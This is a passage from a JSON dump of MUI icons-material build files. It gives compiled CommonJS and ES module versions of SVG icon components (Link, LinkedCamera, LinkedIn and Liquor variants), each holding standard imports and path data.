    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c1.65 0 3 1.35 3 3s-1.35 3-3 3h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c2.76 0 5-2.24 5-5s-2.24-5-5-5m-9 5c0 .55.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1H9c-.55 0-1 .45-1 1m2 3H7c-1.65 0-3-1.35-3-3s1.35-3 3-3h3c.55 0 1-.45 1-1s-.45-1-1-1H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h3c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'LinkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c1.65 0 3 1.35 3 3s-1.35 3-3 3h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c2.76 0 5-2.24 5-5s-2.24-5-5-5m-9 5c0 .55.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1H9c-.55 0-1 .45-1 1m2 3H7c-1.65 0-3-1.35-3-3s1.35-3 3-3h3c.55 0 1-.45 1-1s-.45-1-1-1H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h3c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'LinkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7h-4v2h4c1.65 0 3 1.35 3 3s-1.35 3-3 3h-4v2h4c2.76 0 5-2.24 5-5s-2.24-5-5-5m-6 8H7c-1.65 0-3-1.35-3-3s1.35-3 3-3h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4zm-3-4h8v2H8zm9-4h-4v2h4c1.65 0 3 1.35 3 3s-1.35 3-3 3h-4v2h4c2.76 0 5-2.24 5-5s-2.24-5-5-5m-6 8H7c-1.65 0-3-1.35-3-3s1.35-3 3-3h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4zm-3-4h8v2H8z\"\n}), 'LinkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7h-4v2h4c1.65 0 3 1.35 3 3s-1.35 3-3 3h-4v2h4c2.76 0 5-2.24 5-5s-2.24-5-5-5m-6 8H7c-1.65 0-3-1.35-3-3s1.35-3 3-3h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4zm-3-4h8v2H8zm9-4h-4v2h4c1.65 0 3 1.35 3 3s-1.35 3-3 3h-4v2h4c2.76 0 5-2.24 5-5s-2.24-5-5-5m-6 8H7c-1.65 0-3-1.35-3-3s1.35-3 3-3h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4zm-3-4h8v2H8z\"\n}), 'LinkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7h-4v2h4c1.65 0 3 1.35 3 3s-1.35 3-3 3h-4v2h4c2.76 0 5-2.24 5-5s-2.24-5-5-5m-6 8H7c-1.65 0-3-1.35-3-3s1.35-3 3-3h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4zm-3-4h8v2H8z\",\n  opacity: \".87\"\n}), 'LinkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7h-4v2h4c1.65 0 3 1.35 3 3s-1.35 3-3 3h-4v2h4c2.76 0 5-2.24 5-5s-2.24-5-5-5m-6 8H7c-1.65 0-3-1.35-3-3s1.35-3 3-3h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4zm-3-4h8v2H8z\",\n  opacity: \".87\"\n}), 'LinkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedCamera.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3.33c2.58 0 4.67 2.09 4.67 4.67H22c0-3.31-2.69-6-6-6zM16 6c1.11 0 2 .89 2 2h1.33c0-1.84-1.49-3.33-3.33-3.33z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9c0-1.11-.89-2-2-2V4H9L7.17 6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9zm-5 10c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"2\")], 'LinkedCamera');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedCamera.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3.33c2.58 0 4.67 2.09 4.67 4.67H22c0-3.31-2.69-6-6-6zM16 6c1.11 0 2 .89 2 2h1.33c0-1.84-1.49-3.33-3.33-3.33z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9c0-1.11-.89-2-2-2V4H9L7.17 6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9zm-5 10c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"2\")], 'LinkedCamera');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedCameraOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9v11H4V8h4.05l1.83-2H15V4H9L7.17 6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9zm.67-1.01H22C21.99 4.68 19.31 2 16 2v1.33c2.58 0 4.66 2.08 4.67 4.66m-2.67 0h1.33c-.01-1.84-1.49-3.32-3.33-3.32V6c1.11 0 1.99.89 2 1.99M7 14c0 2.76 2.24 5 5 5s5-2.24 5-5-2.24-5-5-5-5 2.24-5 5m8 0c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3 3 1.34 3 3\"\n}), 'LinkedCameraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedCameraOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9v11H4V8h4.05l1.83-2H15V4H9L7.17 6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9zm.67-1.01H22C21.99 4.68 19.31 2 16 2v1.33c2.58 0 4.66 2.08 4.67 4.66m-2.67 0h1.33c-.01-1.84-1.49-3.32-3.33-3.32V6c1.11 0 1.99.89 2 1.99M7 14c0 2.76 2.24 5 5 5s5-2.24 5-5-2.24-5-5-5-5 2.24-5 5m8 0c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3 3 1.34 3 3\"\n}), 'LinkedCameraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedCameraRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"13\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.6 2.37c2.1.27 3.77 1.93 4.03 4.03.04.34.32.6.66.6.39 0 .71-.34.66-.73-.33-2.72-2.5-4.89-5.22-5.22-.39-.05-.73.27-.73.66 0 .34.26.62.6.66m2.63 3.82a3.338 3.338 0 0 0-2.42-2.42c-.41-.1-.81.22-.81.65 0 .29.19.57.48.64.72.18 1.29.74 1.46 1.46.07.29.34.48.64.48.43 0 .75-.4.65-.81\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8c0-1.1-.9-2-2-2V4c0-.55-.45-1-1-1H9.88c-.56 0-1.1.24-1.48.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2zm-5 9.5c-2.48 0-4.5-2.02-4.5-4.5S9.52 8.5 12 8.5s4.5 2.02 4.5 4.5-2.02 4.5-4.5 4.5\"\n}, \"2\")], 'LinkedCameraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedCameraRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"13\",\n  r: \"2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.6 2.37c2.1.27 3.77 1.93 4.03 4.03.04.34.32.6.66.6.39 0 .71-.34.66-.73-.33-2.72-2.5-4.89-5.22-5.22-.39-.05-.73.27-.73.66 0 .34.26.62.6.66m2.63 3.82a3.338 3.338 0 0 0-2.42-2.42c-.41-.1-.81.22-.81.65 0 .29.19.57.48.64.72.18 1.29.74 1.46 1.46.07.29.34.48.64.48.43 0 .75-.4.65-.81\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8c0-1.1-.9-2-2-2V4c0-.55-.45-1-1-1H9.88c-.56 0-1.1.24-1.48.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2zm-5 9.5c-2.48 0-4.5-2.02-4.5-4.5S9.52 8.5 12 8.5s4.5 2.02 4.5 4.5-2.02 4.5-4.5 4.5\"\n}, \"2\")], 'LinkedCameraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedCameraSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h1.33c0-1.84-1.49-3.33-3.33-3.33V6c1.11 0 2 .89 2 2m2.67 0H22c0-3.31-2.69-6-6-6v1.33c2.58 0 4.67 2.09 4.67 4.67M15 7V4H9L7.17 6H2v16h20V9h-5c0-1.1-.9-2-2-2m-3 12c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'LinkedCameraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedCameraSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h1.33c0-1.84-1.49-3.33-3.33-3.33V6c1.11 0 2 .89 2 2m2.67 0H22c0-3.31-2.69-6-6-6v1.33c2.58 0 4.67 2.09 4.67 4.67M15 7V4H9L7.17 6H2v16h20V9h-5c0-1.1-.9-2-2-2m-3 12c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'LinkedCameraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedCameraTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 20H4V8h4.05l1.83-2H15V4H9L7.17 6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9h-2zM16 2v1.33c2.58 0 4.66 2.09 4.67 4.66H22C21.99 4.68 19.31 2 16 2m0 2.67V6c1.11 0 1.99.89 2 1.99h1.33c-.01-1.84-1.49-3.32-3.33-3.32\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.98 10.01c-.13-.09-.26-.18-.39-.26.14.08.27.17.39.26M17 9c0-.37-.11-.71-.28-1.01-.18-.3-.43-.55-.73-.72C15.7 7.1 15.36 7 15 7V6H9.88L8.05 8H4v12h16V9zm-5 10c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}, \"2\")], 'LinkedCameraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedCameraTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 20H4V8h4.05l1.83-2H15V4H9L7.17 6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9h-2zM16 2v1.33c2.58 0 4.66 2.09 4.67 4.66H22C21.99 4.68 19.31 2 16 2m0 2.67V6c1.11 0 1.99.89 2 1.99h1.33c-.01-1.84-1.49-3.32-3.33-3.32\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.98 10.01c-.13-.09-.26-.18-.39-.26.14.08.27.17.39.26M17 9c0-.37-.11-.71-.28-1.01-.18-.3-.43-.55-.73-.72C15.7 7.1 15.36 7 15 7V6H9.88L8.05 8H4v12h16V9zm-5 10c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}, \"2\")], 'LinkedCameraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedIn.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h14m-.5 15.5v-5.3a3.26 3.26 0 0 0-3.26-3.26c-.85 0-1.84.52-2.32 1.3v-1.11h-2.79v8.37h2.79v-4.93c0-.77.62-1.4 1.39-1.4a1.4 1.4 0 0 1 1.4 1.4v4.93h2.79M6.88 8.56a1.68 1.68 0 0 0 1.68-1.68c0-.93-.75-1.69-1.68-1.69a1.69 1.69 0 0 0-1.69 1.69c0 .93.76 1.68 1.69 1.68m1.39 9.94v-8.37H5.5v8.37h2.77z\"\n}), 'LinkedIn');"
  },
  {
    "path": "packages/mui-icons-material/lib/LinkedIn.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h14m-.5 15.5v-5.3a3.26 3.26 0 0 0-3.26-3.26c-.85 0-1.84.52-2.32 1.3v-1.11h-2.79v8.37h2.79v-4.93c0-.77.62-1.4 1.39-1.4a1.4 1.4 0 0 1 1.4 1.4v4.93h2.79M6.88 8.56a1.68 1.68 0 0 0 1.68-1.68c0-.93-.75-1.69-1.68-1.69a1.69 1.69 0 0 0-1.69 1.69c0 .93.76 1.68 1.69 1.68m1.39 9.94v-8.37H5.5v8.37h2.77z\"\n}), 'LinkedIn');"
  },
  {
    "path": "packages/mui-icons-material/lib/Liquor.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14c0 1.3.84 2.4 2 2.82V20H3v2h6v-2H7v-3.18C8.16 16.4 9 15.3 9 14V6H3zm2-6h2v3H5zm15.63.54-.95-.32c-.4-.13-.68-.51-.68-.94V3c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v4.28c0 .43-.28.81-.68.95l-.95.32c-.82.27-1.37 1.03-1.37 1.89V20c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-9.56c0-.86-.55-1.62-1.37-1.9M16 4h1v1h-1zm-3 6.44.95-.32C15.18 9.72 16 8.57 16 7.28V7h1v.28c0 1.29.82 2.44 2.05 2.85l.95.31V12h-7zM20 20h-7v-2h7z\"\n}), 'Liquor');"
  },
  {
    "path": "packages/mui-icons-material/lib/Liquor.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14c0 1.3.84 2.4 2 2.82V20H3v2h6v-2H7v-3.18C8.16 16.4 9 15.3 9 14V6H3zm2-6h2v3H5zm15.63.54-.95-.32c-.4-.13-.68-.51-.68-.94V3c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v4.28c0 .43-.28.81-.68.95l-.95.32c-.82.27-1.37 1.03-1.37 1.89V20c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-9.56c0-.86-.55-1.62-1.37-1.9M16 4h1v1h-1zm-3 6.44.95-.32C15.18 9.72 16 8.57 16 7.28V7h1v.28c0 1.29.82 2.44 2.05 2.85l.95.31V12h-7zM20 20h-7v-2h7z\"\n}), 'Liquor');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiquorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14c0 1.3.84 2.4 2 2.82V20H3v2h6v-2H7v-3.18C8.16 16.4 9 15.3 9 14V6H3zm2-6h2v3H5zm0 5h2v1c0 .55-.45 1-1 1s-1-.45-1-1zm15.64-4.46-.96-.32c-.41-.14-.68-.52-.68-.95V3c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v4.28c0 .43-.27.81-.68.95l-.96.32c-.81.28-1.36 1.04-1.36 1.9V20c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-9.56c0-.86-.55-1.62-1.36-1.9M16 4h1v1h-1zm4 16h-7v-2h7zm0-4h-7v-2h7zm0-4h-7v-1.56l.95-.32C15.18 9.72 16 8.57 16 7.28V7h1v.28c0 1.29.82 2.44 2.05 2.85l.95.31z\"\n}), 'LiquorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiquorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14c0 1.3.84 2.4 2 2.82V20H3v2h6v-2H7v-3.18C8.16 16.4 9 15.3 9 14V6H3zm2-6h2v3H5zm0 5h2v1c0 .55-.45 1-1 1s-1-.45-1-1zm15.64-4.46-.96-.32c-.41-.14-.68-.52-.68-.95V3c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v4.28c0 .43-.27.81-.68.95l-.96.32c-.81.28-1.36 1.04-1.36 1.9V20c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-9.56c0-.86-.55-1.62-1.36-1.9M16 4h1v1h-1zm4 16h-7v-2h7zm0-4h-7v-2h7zm0-4h-7v-1.56l.95-.32C15.18 9.72 16 8.57 16 7.28V7h1v.28c0 1.29.82 2.44 2.05 2.85l.95.31z\"\n}), 'LiquorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiquorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14c0 1.3.84 2.4 2 2.82V20H4c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1H7v-3.18C8.16 16.4 9 15.3 9 14V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1zm2-6h2v3H5zm15.64.54-.96-.32c-.41-.14-.68-.52-.68-.95V3c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v4.28c0 .43-.27.81-.68.95l-.96.32c-.81.28-1.36 1.04-1.36 1.9V20c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-9.56c0-.86-.55-1.62-1.36-1.9M16 4h1v1h-1zm-3 6.44.95-.32C15.18 9.72 16 8.57 16 7.28V7h1v.28c0 1.29.82 2.44 2.05 2.85l.95.31V12h-7zM20 20h-7v-2h7z\"\n}), 'LiquorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiquorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14c0 1.3.84 2.4 2 2.82V20H4c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1H7v-3.18C8.16 16.4 9 15.3 9 14V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1zm2-6h2v3H5zm15.64.54-.96-.32c-.41-.14-.68-.52-.68-.95V3c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v4.28c0 .43-.27.81-.68.95l-.96.32c-.81.28-1.36 1.04-1.36 1.9V20c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-9.56c0-.86-.55-1.62-1.36-1.9M16 4h1v1h-1zm-3 6.44.95-.32C15.18 9.72 16 8.57 16 7.28V7h1v.28c0 1.29.82 2.44 2.05 2.85l.95.31V12h-7zM20 20h-7v-2h7z\"\n}), 'LiquorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiquorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14c0 1.3.84 2.4 2 2.82V20H3v2h6v-2H7v-3.18C8.16 16.4 9 15.3 9 14V6H3zm2-6h2v3H5zm17 1-3-1.01V2h-5v6l-3 1.01V22h11zm-6-5h1v1h-1zm-3 6.44 3-.98V7h1v2.46l3 .98V12h-7zM20 20h-7v-2h7z\"\n}), 'LiquorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiquorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14c0 1.3.84 2.4 2 2.82V20H3v2h6v-2H7v-3.18C8.16 16.4 9 15.3 9 14V6H3zm2-6h2v3H5zm17 1-3-1.01V2h-5v6l-3 1.01V22h11zm-6-5h1v1h-1zm-3 6.44 3-.98V7h1v2.46l3 .98V12h-7zM20 20h-7v-2h7z\"\n}), 'LiquorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiquorTwoTone.js",
